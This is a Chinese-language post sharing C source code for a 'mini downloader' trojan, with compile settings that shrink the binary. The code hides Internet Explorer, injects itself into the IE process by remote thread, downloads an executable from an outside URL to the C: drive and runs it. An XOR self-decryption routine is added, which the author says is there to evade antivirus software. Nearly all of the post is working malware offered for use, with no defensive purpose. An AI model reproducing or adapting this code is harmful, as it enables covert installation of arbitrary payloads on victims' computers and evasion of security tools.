作者：精灵

更新部份:
增加代码xor解密功能,以逃过杀毒软件.

生成MiNI下载者,则需要自己做一个工具了.读懂代码,把相应的部份加密即可.

参考delphi版本的下载者源代码，编出来有16K左右。压缩也有10K多，
于是写了VC的代码。按以下的设置，编译出来2K左右。
还可以可以再设置一下编译开关，以减小体积。

Ps:原代码中4处没有对\转义,以下代码编译通过;
编译出来16K,去掉4行注释,编译后3K(编译环境:Win2003+VC6.0)

/* 
"mini_downloader" 
code by kardinal p.s.t 
compile by vc++ 6.0 
can not run under win98; 
*/ 
#include <windows.h> 

#pragma comment(lib,"user32.lib") 
#pragma comment(lib,"kernel32.lib") 

//#pragma comment(linker, "/OPT:NOWIN98")   //取消这4行的注释，可编译出2K大的文件 
//#pragma comment(linker, "/merge:.data=.text")    
//#pragma comment(linker, "/merge:.rdata=.text")    
//#pragma comment(linker, "/align:0x200") 
#pragma comment(linker, "/ENTRY:decrpt")    
#pragma comment(linker, "/subsystem:windows") 
#pragma comment(linker, "/BASE:0x13150000") 

HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数 
DWORD (WINAPI *DOWNFILE)  (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数 
HANDLE  (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE,  LPVOID, DWORD, LPDWORD);     //建立远程线程,并运行 
HANDLE processhandle; 
DWORD pid; 
HINSTANCE hshell,hurlmon,hkernel; 

void download() //注入使用的下载函数 
{ 
    hshell=LoadLibrary("Shell32.dll"); 
    hurlmon=LoadLibrary("urlmon.dll"); 
 
    (FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA"); 
    (FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA"); 
 
    DOWNFILE(NULL,"http://www.testtest.ac.cn/eeeeeeeeeeeeee ... eeeeen/notepad.exe","c:\\ieinst12.exe",0, NULL); 
    SHELLRUN(0,"open","c:\\ieinst12.exe",NULL,NULL,5); 
    ExitProcess(0); 
}; 

void main() //主函数 
{    
    //1.得到IE路径,并运行 
    char iename[MAX_PATH],iepath[MAX_PATH]; 
    ZeroMemory(iename,sizeof(iename)); 
    ZeroMemory(iepath,sizeof(iepath)); 
 
    GetWindowsDirectory(iepath,MAX_PATH); 
    strncpy(iename,iepath,3); 
    strcat(iename,"program files\\Internet Explorer\\IEXPLORE.EXE"); 
    WinExec(iename,SW_HIDE); 
    Sleep(500); 
 
    //2.得到 IE process handle 
    HWND htemp; 
    htemp=FindWindow("IEFrame",NULL); 
    GetWindowThreadProcessId(htemp,&pid); 
    processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 
 
    //3.分配内存 
    HMODULE Module; 
    LPVOID NewModule; 
    DWORD Size; 
    LPDWORD lpimagesize; 
 
    Module = GetModuleHandle(NULL);//进程映像的基址 
    //得到内存镜像大小 
    _asm 
    { 
        push eax; 
        push ebx; 
        mov ebx,Module; 
        mov eax,[ebx+0x3c]; 
        lea eax,[ebx+eax+0x50];      
        mov eax,[eax] 
            mov lpimagesize,eax; 
        pop ebx; 
        pop eax; 
    }; 
    Size=(DWORD)lpimagesize; 
    NewModule  = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //确定起始基址和内存映像基址的位置 
 
    //4.写内存，创建线程 
    WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据 
    LPTHREAD_START_ROUTINE entrypoint; 
    __asm 
    { 
        push eax; 
        lea eax,download; 
        mov entrypoint,eax; 
        pop eax 
    } 
    hkernel=LoadLibrary("KERNEL32.dll"); 
    (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread"); 
    MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL);     //建立远程线程,并运行 
 
    //5.关闭对象 
    CloseHandle(processhandle); 
 
    return; 
} ; 

//解密函数 
void decrpt() 
{ 
 
    HANDLE myps; 
    DWORD oldAttr; 
    BYTE shellcode[500]; 
    ZeroMemory(shellcode,sizeof(shellcode)); 
    myps=GetCurrentProcess(); 
    ::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr); 
    //先把原代码,搬移到变量中保存起来 
    _asm 
    { 
        pushad; 
        lea esi,download 
            lea edi,shellcode; 
        lea ecx,decrpt; 
        sub ecx,esi; 
en1: 
        lodsb; 
        stosb; 
        dec ecx; 
        jne en1; 
        popad; 
 
    }; 
 
    //解密搬回 
    int i; 
    for (i=1;i<=0xFF;i++) 
    { 
        _asm 
        { 
            pushad; 
            lea esi,shellcode; 
            lea edi,download; 
            lea ecx,decrpt; 
            sub ecx,edi; 
en2:     
            lodsb; 
            mov ebx,i; 
            xor al,bl; 
            stosb; 
            dec ecx; 
            jne en2; 
            popad; 
 
        }; 
 
        //此结构的的作用在于使一般的杀毒软件无法探测出来是病毒. 
        __try 
        { 
            main(); 
            return; 
        } 
        __except(EXCEPTION_EXECUTE_HANDLER) 
 
        { 
 
        }; 
 
 
    } 
    return; 
};